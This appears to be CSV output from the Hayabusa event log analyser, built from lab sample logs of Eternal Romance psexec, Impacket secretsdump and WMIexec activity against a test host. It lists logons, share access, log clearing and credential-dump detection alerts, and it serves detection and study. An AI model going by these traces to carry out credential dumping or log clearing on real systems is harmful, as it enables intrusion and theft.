0x7777e,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4624,4688,5140,5145-Eternal Romance - MS17_010_psexec (GLOBAL).evtx" +2021-04-22 17:51:06.554 +09:00,fs03vuln.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: : IP Address: 10.23.23.9 : Port: 60163 : LogonID: 0x7777e,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4624,4688,5140,5145-Eternal Romance - MS17_010_psexec (GLOBAL).evtx" +2021-04-22 17:51:19.198 +09:00,fs03vuln.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4624,4688,5140,5145-Eternal Romance - MS17_010_psexec (GLOBAL).evtx" +2021-04-22 17:51:19.198 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4624,4688,5140,5145-Eternal Romance - MS17_010_psexec (GLOBAL).evtx" +2021-04-22 17:51:19.198 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: USERS\ADMMIG : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4624,4688,5140,5145-Eternal Romance - MS17_010_psexec (GLOBAL).evtx" +2021-04-22 17:51:19.213 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4624,4688,5140,5145-Eternal Romance - MS17_010_psexec (GLOBAL).evtx" +2021-04-22 17:51:19.291 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: USERS\ADMMIG\DESKTOP : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4624,4688,5140,5145-Eternal Romance - MS17_010_psexec (GLOBAL).evtx" +2021-04-22 17:51:22.992 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop\MS17_010_psexec.evtx : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4624,4688,5140,5145-Eternal Romance - MS17_010_psexec (GLOBAL).evtx" +2021-04-22 17:51:22.994 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4624,4688,5140,5145-Eternal Romance - MS17_010_psexec (GLOBAL).evtx" +2021-04-22 17:51:23.009 +09:00,fs03vuln.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4624,4688,5140,5145-Eternal Romance - MS17_010_psexec (GLOBAL).evtx" +2021-04-22 17:51:23.009 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: USERS\ADMMIG\DESKTOP\DESKTOP.INI : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4624,4688,5140,5145-Eternal Romance - MS17_010_psexec (GLOBAL).evtx" +2021-04-22 17:51:23.009 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4624,4688,5140,5145-Eternal Romance - MS17_010_psexec (GLOBAL).evtx" +2021-04-22 17:51:23.025 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop\MS17_010_psexec.evtx : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4624,4688,5140,5145-Eternal Romance - MS17_010_psexec (GLOBAL).evtx" +2021-04-22 17:51:23.025 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4624,4688,5140,5145-Eternal Romance - MS17_010_psexec (GLOBAL).evtx" +2021-04-22 17:51:23.042 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop\MS17_010_psexec.evtx : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4624,4688,5140,5145-Eternal Romance - MS17_010_psexec (GLOBAL).evtx" +2021-04-22 17:51:23.044 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4624,4688,5140,5145-Eternal Romance - MS17_010_psexec (GLOBAL).evtx" +2021-04-22 17:51:23.044 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop\MS17_010_psexec.evtx : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4624,4688,5140,5145-Eternal Romance - MS17_010_psexec (GLOBAL).evtx" +2021-04-22 17:51:23.060 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4624,4688,5140,5145-Eternal Romance - MS17_010_psexec (GLOBAL).evtx" +2021-04-22 17:51:23.171 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop\MS17_010_psexec.evtx : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4624,4688,5140,5145-Eternal Romance - MS17_010_psexec (GLOBAL).evtx" +2021-04-22 18:00:09.959 +09:00,fs03vuln.offsec.lan,1102,high,Security log was cleared,User: admmig,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:10.026 +09:00,fs03vuln.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0xb3084,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:10.026 +09:00,fs03vuln.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: : IP Address: 10.23.23.9 : Port: 60285 : LogonID: 0xb3084,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:11.118 +09:00,fs03vuln.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0xb314d,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:11.118 +09:00,fs03vuln.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: : IP Address: 10.23.23.9 : Port: 60232 : LogonID: 0xb314d,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:13.226 +09:00,fs03vuln.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0xb32cb,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:13.226 +09:00,fs03vuln.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:13.226 +09:00,fs03vuln.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: : IP Address: 10.23.123.11 : Port: 50078 : LogonID: 0xb32cb,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:14.421 +09:00,fs03vuln.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:14.437 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: SYSTEM32\BTeHLZkJ.tmp : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:14.437 +09:00,fs03vuln.offsec.lan,5145,high,Possible Impacket SecretDump Remote Activity,,rules/sigma/builtin/security/win_impacket_secretdump.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:14.735 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: SYSTEM32\NMdzZfem.tmp : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:14.735 +09:00,fs03vuln.offsec.lan,5145,high,Possible Impacket SecretDump Remote Activity,,rules/sigma/builtin/security/win_impacket_secretdump.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:16.724 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: SYSTEM32\BTeHLZkJ.tmp : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:16.724 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: SYSTEM32\NMdzZfem.tmp : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:16.724 +09:00,fs03vuln.offsec.lan,5145,high,Possible Impacket SecretDump Remote Activity,,rules/sigma/builtin/security/win_impacket_secretdump.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:16.724 +09:00,fs03vuln.offsec.lan,5145,high,Possible Impacket SecretDump Remote Activity,,rules/sigma/builtin/security/win_impacket_secretdump.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:19.875 +09:00,fs03vuln.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:19.891 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:19.891 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: USERS\ADMMIG : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:19.891 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:20.003 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: USERS\ADMMIG\DESKTOP : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:22.544 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop\Impacket secret dump.evtx : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:22.544 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:22.560 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: USERS\ADMMIG\DESKTOP\DESKTOP.INI : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:22.575 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:22.591 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop\Impacket secret dump.evtx : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:22.591 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:22.591 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop\Impacket secret dump.evtx : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:22.606 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:22.606 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop\Impacket secret dump.evtx : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:22.622 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 18:00:22.696 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop\Impacket secret dump.evtx : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4656, 5145, 4674-Impacket secret dump via SMB.evtx" +2021-04-22 20:32:00.171 +09:00,fs03vuln.offsec.lan,1102,high,Security log was cleared,User: admmig,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:00.186 +09:00,fs03vuln.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x189df8,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:00.186 +09:00,fs03vuln.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: : IP Address: 10.23.23.9 : Port: 63558 : LogonID: 0x189df8,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:01.293 +09:00,fs03vuln.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x189e94,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:01.293 +09:00,fs03vuln.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: : IP Address: 10.23.23.9 : Port: 63534 : LogonID: 0x189e94,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:02.934 +09:00,fs03vuln.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x189f3b,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:02.934 +09:00,fs03vuln.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x189f62,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:02.934 +09:00,fs03vuln.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: : IP Address: 10.23.123.11 : Port: 50896 : LogonID: 0x189f3b,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:02.934 +09:00,fs03vuln.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: : IP Address: 10.23.123.11 : Port: 56740 : LogonID: 0x189f62,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:02.996 +09:00,fs03vuln.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x189f84,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:02.996 +09:00,fs03vuln.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: : IP Address: 10.23.123.11 : Port: 44948 : LogonID: 0x189f84,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:03.074 +09:00,fs03vuln.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x189fa3,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:03.074 +09:00,fs03vuln.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: : IP Address: 10.23.123.11 : Port: 44948 : LogonID: 0x189fa3,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:03.137 +09:00,fs03vuln.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x189fc0,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:03.137 +09:00,fs03vuln.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: : IP Address: 10.23.123.11 : Port: 44948 : LogonID: 0x189fc0,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:03.499 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619090610.0007844 : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:03.499 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619090610.0007844 : IP Address: 127.0.0.1,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:03.499 